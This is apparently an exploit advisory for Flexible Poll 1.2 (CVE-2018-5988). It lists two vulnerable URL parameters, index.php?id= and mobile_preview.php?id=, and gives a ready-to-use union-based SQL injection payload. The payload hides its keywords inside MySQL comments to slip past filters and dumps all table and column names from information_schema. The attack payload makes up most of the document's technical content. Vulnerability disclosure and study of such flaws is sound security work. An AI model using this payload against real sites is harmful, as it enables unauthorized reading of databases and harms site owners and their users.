Flexible Poll 1.2 - SQL Injection

# # # # # 
# Exploit Title: Flexible Poll 1.2 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://ddywpro.com/
# Software Link: https://codecanyon.net/item/flexible-poll/4363114
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5988
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?id=[SQL]
# 
# 2)
# http://localhost/[PATH]/mobile_preview.php?id=[SQL]
# 
# -714'+UniOn+SElecT+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),2,3,4,5--+-
# 
# # # # #